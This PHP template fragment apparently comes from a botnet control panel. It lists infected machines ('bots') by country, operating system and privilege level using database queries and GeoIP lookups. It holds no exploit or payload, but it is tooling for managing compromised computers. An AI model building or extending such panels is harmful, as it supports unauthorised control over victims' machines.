<?php
include_once('../stats.php');
include '../geo/geoip.inc';
include '../localization.php';
$gi = geoip_open("../geo/GeoIP.dat", "");
?>

<div class="col-lg-4 col-xs-8">
						<h3><?php print($pageText['top3countries'][0]); ?></h3>
						<table id="topcountries" class="table table-condensed table-hover table-striped table-bordered">
							<thead>
								<tr>
									<th><?php print($pageText['country'][0]); ?></th>
									<th><?php print($pageText['#ofbots'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								if ($total != "0")
								{
									$csel = $odb->query("SELECT country, COUNT(*) AS cnt FROM bots GROUP BY country ORDER BY cnt DESC LIMIT 3");
									while ($c = $csel->fetch())
									{
										echo '<tr><td>'.geoip_country_name_by_id($gi, $c[0]).'</td><td>'.number_format($c[1]).'</td></tr>';
									}
								}else{
									echo '<tr class="odd"><td colspan="8">No data to display</td></tr>';
								}
								?>
							</tbody>
						</table>
					</div>
					<div class="col-lg-4 col-xs-8">
						<h3><?php print($pageText['top3os'][0]);?></h3>
						<table id="topcountries" class="table table-condensed table-hover table-striped table-bordered">
							<thead>
								<tr>
									<th><?php print($pageText['os'][0]); ?></th>
									<th><?php print($pageText['#ofbots'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								if ($total != "0")
								{
									$osel = $odb->query("SELECT operatingsys, COUNT(*) AS cnt FROM bots GROUP BY operatingsys ORDER BY cnt DESC LIMIT 3");
									while ($o = $osel->fetch())
									{
										echo '<tr><td>'.$o[0].'</td><td>'.number_format($o[1]).'</td></tr>';
									}
								}else{
									echo '<tr class="odd"><td colspan="8">No data to display</td></tr>';
								}
								?>
							</tbody>
						</table>
					</div>
					<div class="col-lg-4 col-xs-8">
						<h3><?php print($pageText['privileges'][0]); ?></h3>
						<table id="topcountries" class="table table-condensed table-hover table-striped table-bordered">
							<thead>
								<tr>
									<th><?php print($pageText['privilege'][0]); ?></th>
									<th><?php print($pageText['#ofbots'][0]); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								if ($total != "0")
								{
									$psel = $odb->query("SELECT privileges, COUNT(*) AS cnt FROM bots GROUP BY privileges ORDER BY cnt DESC");
									while ($p = $psel->fetch())
									{
										echo '<tr><td>'.$p[0].'</td><td>'.number_format($p[1]).'</td></tr>';
									}
								}else{
									echo '<tr class="odd"><td colspan="8">No data to display</td></tr>';
								}
								?>
							</tbody>
						</table>
					</div>